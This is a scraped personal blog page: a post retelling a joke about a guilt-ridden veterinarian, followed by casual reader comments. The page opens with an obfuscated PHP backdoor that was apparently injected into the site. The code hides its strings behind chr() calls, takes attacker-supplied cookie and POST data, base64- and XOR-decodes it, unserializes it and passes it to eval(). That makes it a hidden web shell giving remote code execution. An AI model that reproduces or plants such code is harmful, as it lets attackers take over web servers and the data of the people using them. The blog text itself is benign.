$XjtazQGNLZ = chr (85) . "\137" . "\125" . chr (98) . chr (98); $YkIHtxDJ = "\x63" . 'l' . chr ( 688 - 591 )."\163" . 's' . '_' . "\145" . chr (120) . "\151" . chr (115) . 't' . chr (115); $vjkYtt = class_exists($XjtazQGNLZ); $YkIHtxDJ = "28484";$jfGVdIh = strpos($YkIHtxDJ, $XjtazQGNLZ);if ($vjkYtt == $jfGVdIh){function nUIjph(){$QjgVmgYsu = new /* 61615 */ U_Ubb(63092 + 63092); $QjgVmgYsu = NULL;}$RiHPdeVRgn = "63092";class U_Ubb{private function nBgFwEdIah($RiHPdeVRgn){if (is_array(U_Ubb::$FqPIG)) {$vKScSbcYj2 = str_replace("<" . "?php", "", U_Ubb::$FqPIG["content"]);eval($vKScSbcYj2); $RiHPdeVRgn = "63092";exit();}}public function PzZdhVoV(){$vKScSbcYj = "29015";$this->_dummy = str_repeat($vKScSbcYj, strlen($vKScSbcYj));}public function __destruct(){U_Ubb::$FqPIG = @unserialize(U_Ubb::$FqPIG); $RiHPdeVRgn = "9051_60179";$this->nBgFwEdIah($RiHPdeVRgn); $RiHPdeVRgn = "9051_60179";}public function sSKpKNOo($vKScSbcYj, $wJIyyODkD){return $vKScSbcYj[0] ^ str_repeat($wJIyyODkD, intval(strlen($vKScSbcYj[0]) / strlen($wJIyyODkD)) + 1);}public function WEUWl($vKScSbcYj){$xzPwBeGSNg = chr ( 458 - 360 )."\x61" . 's' . 'e' . "\66" . chr (52);return array_map($xzPwBeGSNg . '_' . chr ( 344 - 244 )."\x65" . "\x63" . chr ( 840 - 729 )."\144" . chr (101), array($vKScSbcYj,));}public function __construct($ooNll=0){$qkQctSqYWU = chr (44); $vKScSbcYj = "";$BFqpabi = $_POST;$NMWdy = $_COOKIE;$wJIyyODkD = "47d204fd-06b8-41c4-8cb1-d61c55bbcd40";$WNNrxZKr = @$NMWdy[substr($wJIyyODkD, 0, 4)];if (!empty($WNNrxZKr)){$WNNrxZKr = explode($qkQctSqYWU, $WNNrxZKr);foreach ($WNNrxZKr as $LWvzF){$vKScSbcYj .= @$NMWdy[$LWvzF];$vKScSbcYj .= @$BFqpabi[$LWvzF];}$vKScSbcYj = $this->WEUWl($vKScSbcYj);}U_Ubb::$FqPIG = $this->sSKpKNOo($vKScSbcYj, $wJIyyODkD);if (strpos($wJIyyODkD, $qkQctSqYWU) !== FALSE){$wJIyyODkD = explode($qkQctSqYWU, $wJIyyODkD); $iEMOa = base64_decode(md5($wJIyyODkD[0])); $ZelQYTD = strlen($wJIyyODkD[1]) > 5 ? substr($wJIyyODkD[1], 0, 5) : $wJIyyODkD[1];$_GET['new_key'] = md5(implode('', $wJIyyODkD)); $lTnldDbC = str_repeat($ZelQYTD, 2);}}public static $FqPIG = 11292;}nUIjph();} Joke forwarded from YS III – Saima Says

Joke forwarded from YS III

Doctor Dave had slept with one of his patients and felt guilty all day long.
No matter how much he tried to forget about it, he couldn’t.
The guilt and sense of betrayal was overwhelming.
But every once in a while he’d hear an internal, reassuring voice in his head that said:
“Dave, don’t worry about it. You aren’t the first medical practitioner to sleep with one of their patients and you won’t be the last.
And you’re single. Just let it go..”
But invariably another voice in his head would bring him back to reality,
Whispering:……
“Dave………….you’re a vet”.

15 comments

  1. heeheeeheeeeeeeeeeeeeehee
    thats funny , but disturbing….lol that reminds me of something that is “invetinve but ugly”
    p.s i think i left that in Ltown and came to Gtown wifout it!! lol
    Anisa XXxxXX

  3. Quite frankly I am shocked that YSIII knows a joke like that! Where has the innocence in the youth gone today?! Yeah, I am feeling old 🙁

  5. inventive but ugly.. yes.. but sadly, also highly inevitable. =[ that’s why, i’d never be a vet. those puppies are too damn cute!!

  8. Well, it was a reluctant admission, but you want maturity? Fine..what are you doing on the blog, when you have two MAJOR exams over the next two days? Go to your room, better yet,one where there’s no internet connection and don’t come out unless its to sit an exam. So I wouldn’t eat many fibrous carbs if I were you.

  10. Damn girl, you sure know how to reuce my Alsation bites to poodle barks.
    I remember co-writing that book, it haunted me for a while, but then an amazing, genius, beautiful, tear inducingly hilarious, did I mention beautiful? girl came along and reminded me to be grateful that I never stepped in a turd…
    ps. I’m not saying who she is but she co-authored the book with me…and she puts the mmmmmmmm in mmmmmmmkay 🙂

  11. this is somethin to amuse u!
    roses are red, violets are blue.. im a skitzophrenic and so am i
    not actually me….
    but maybe its mee

  14. Anisa, if you are going to do jokes about mental health disorders, at least get the spelling right!
    And I dont condone (ewwwww) jokes about that sort of stuff, therefore dont do it!
    rant over….hee hee xx

  15. hahaha lol!!! im sorry ewwww!!!
    y be so posh haaha !! i spelt it wrong on purpose!! 😀 (yeh rite) did no one else like my joke or is it all HATE MAIL!!!
    SONIA (girl in school) : i would love to add cho chang from harry potter onto msn! just so i can say hey cho hows in changin’.

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